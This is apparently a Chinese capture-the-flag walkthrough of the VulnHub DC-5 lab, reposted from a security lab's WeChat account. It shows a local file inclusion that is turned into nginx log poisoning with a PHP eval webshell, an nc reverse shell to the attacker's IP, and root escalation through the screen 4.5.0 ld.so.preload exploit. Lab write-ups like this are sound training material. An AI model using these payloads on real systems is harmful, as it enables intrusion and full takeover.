【VulnHub系列】

admin 2022年10月13日23:50:38评论52 views字数 2798阅读9分19秒阅读模式
【VulnHub系列】

【VulnHub系列】


靶场部署

vulnhub官网

https://www.vulnhub.com/

1、直接从官网下载做好的虚拟机镜像文件(推荐下载Mirror版本);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

DC-5简介

DC-5是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。据我所知,只有一个可以利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它确实存在。你需要寻找一些不寻常的东西(一些随着页面的刷新而改变的东西)。这将有望为漏洞可能涉及的问题提供一些思路。这个挑战的最终目标是获得root权限并阅读唯一的flag。

下载地址:https://www.vulnhub.com/entry/dc-5,314/

信息收集

1.探测靶机地址

arp-scan -l

【VulnHub系列】

2.探测靶机开放端口

【VulnHub系列】

111端口没有什么可以利用的点,只有80端口了,访问一下80端口

得知:网站使用的是Nginx的中间件,php语言

【VulnHub系列】在Contact页面发现一个有交互的地方

【VulnHub系列】

在Contact模块下可以留言,随便填写一下提交

发现刷新页面会更新页脚

【VulnHub系列】

3.dirsearch扫描

dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。

apt-get install dirsearchdirsearch -u http://192.168.75.157

【VulnHub系列】

扫描到thankyou.php文件和footer.php,访问一下footer.php,发现该文件的内容就是之前提交之后下方显示的时间,这样的话thankyou.php中应该包含了footer.php,所以thankyou.php文件应该是存在文件包含漏洞

【VulnHub系列】

文件包含漏洞的利用

什么是本地文件包含(LFI)漏洞?


LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。

(详细了解请访问:https://www.bugku.com/thread-19-1-1.html)

我们用burpsuite遍历一下变量名,得知是file
【VulnHub系列】

file确实是文件包含的参数,这是一个Linux系统
除了这样验证,还可以使用PHP伪协议读取thankyou.php代码来查看是否存在文件包含漏洞

http://192.168.75.157/thankyou.php?file=php://filter/read=convert.base64-encode/resource=thankyou.php
【VulnHub系列】

Nginx日志文件写入shell

读取nginx配置文件信息,发现nginx日志记录文件路径

#nginx配置文件路径 /etc/nginx/nginx.conf#nginx日志文件路径/var/log/nginx/error.log/var/log/nginx/access.log

【VulnHub系列】

通过包含nginx日志getshell,nginx在linux下的默认路径/var/log/nginx/,先在thankyou.php中file参数输入一句话

thankyou.php?file=<?php @eval($_POST[8]);?>

而这句话会引起报错thankyou.php报错,这个时候再去包含error.log,即可成功getshell

【VulnHub系列】

【VulnHub系列】

反弹shell

反弹shell,由于目标环境存在nc,直接nc反弹

nc -e /bin/bash 192.168.75.150 4444

【VulnHub系列】

成功得到shell,切换到bash外壳

python -c 'import pty;pty.spawn("/bin/bash")'

【VulnHub系列】

提权

查找具有SUID权限的文件

#这两个命令都可以查找find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null

suid用来提权的一般有:nmap 、vim、 find、 bash、 more 、less、 nano 、cp

但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权


GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

【VulnHub系列】

使用命令searchsploit来查询漏洞利用的脚本

searchsploit screen 4.5.0

【VulnHub系列】

查看一下脚本的使用

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.shcat 41154.sh

大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传靶机,按照提示的命令进行提权

第一步

将第一部分的c代码放入libhax.c文件中进行编译命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

第二步

将第二部分c代码放入rootshell.c文件中进行编译命令:gcc -o /tmp/rootshell /tmp/rootshell.c

第三步

将编译好的可执行文件上传到靶机的tmp目录下

第四步

按照脚本提示的命令进行提权

步骤一

直接复制下面红线框中的代码,然后再终端中输入,就可以建立libhax.crootshell.c两个文件

【VulnHub系列】

【VulnHub系列】

步骤二

使用以下命令编译c文件

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.cgcc -o /tmp/rootshell /tmp/rootshell.c

步骤三

将文件传输到目标机的tmp文件夹(记得kali和靶机都是在tmp目录下进行操作,因为tmp目录的权限很大)

【VulnHub系列】

步骤四

根据提权说明首先输入命令:cd /etc然后输入命令:umask 000然后输入命令:screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so"然后输入命令:screen -ls最后输入命令:/tmp/rootshell成功提权

【VulnHub系列】

得到flag,在root目录下

【VulnHub系列】

知识点总结

  1. 端口扫描,熟悉常见的端口

  2. 目录扫描,工具有:御剑、dirsearch、DirBuster等等

  3. 文件包含漏洞及其利用

  4. searchsploit命令的使用

  5. screen提权

【VulnHub系列】

【VulnHub系列】


免责声明

由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!



原文始发于微信公众号(NGC660安全实验室):【VulnHub系列】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月13日23:50:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【VulnHub系列】http://cn-sec.com/archives/1347080.html

发表评论

匿名网友 填写信息